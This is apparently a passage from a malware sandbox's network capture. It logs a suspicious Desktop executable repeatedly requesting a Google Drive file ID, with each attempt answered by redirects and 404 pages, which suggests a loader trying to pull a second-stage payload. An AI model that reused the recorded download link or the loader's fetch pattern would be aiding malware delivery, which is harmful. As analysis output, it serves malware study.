2025-01-10 14:37:52 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:37:53 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6ZPTlno3JtTWEcG-acVGgQjsAoIu547NZBHMZgTL2XQPMo-_KFKr0HQqfWRFlHULyJ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:53 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-NCyuF-8dKvZD0byQ87OthQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:37:53 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 4e 35 62 64 59 64 77 4d 4b 39 5f 76 32 58 76 70 4e 51 61 2d 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mN5bdYdwMK9_v2XvpNQa-w">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.30	49823	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:03 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:38:03 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:03 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-UcoSy79_GFbccH0JHw6cfQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.30	49824	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:04 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:38:04 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC629zXqoIFHHSG-Us1S2hC1unqnVmfSDpWYqb9O-O_EIDgA9MH4OWyBZBFheuf6V_tt Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:04 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce--gdYnwZUvNrKLuztsOjAVg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:38:04 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 52 76 59 34 69 62 65 4f 48 66 51 36 71 2d 54 43 4c 78 4f 6b 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="BRvY4ibeOHfQ6q-TCLxOkQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.30	49825	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:14 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:38:15 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:15 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-yK6hmvBst0H0DGHMZ-reAw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.30	49826	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:15 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:38:15 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5B4IFv7DY6Vm78Lfaud3riKA7e3w7vgG4_IQPffhtVi0Kr2RTbkGzev8mFSLXPdEWMr8cmKTg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:15 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-a69OSf3wVkSXT56gsDBCZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:38:15 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 52 4d 57 73 6b 56 4e 52 50 39 75 6b 65 41 42 70 63 34 69 61 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="YRMWskVNRP9ukeABpc4iag">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.30	49827	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:26 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:38:26 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:26 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-eMOxO_NnDn__znqTne0Ndg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.30	49828	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:26 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:38:26 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC44B6e_wBgzhlNA8Z0Y1OSccHGM5vBgVnJWgJtiVhaByrxgp9Owny5cyms5cIiAOW0gihRe59s Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:26 GMT Content-Security-Policy: script-src 'nonce-3bV96Qk5H-Cl6qKYsf1UWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:38:26 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 46 4f 56 48 79 48 71 64 73 5a 62 48 68 6e 65 54 69 38 46 72 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="YFOVHyHqdsZbHhneTi8FrQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.30	49829	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:37 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:38:37 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:37 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-7E8sj31nes9p0yQefeJSnA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.30	49830	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
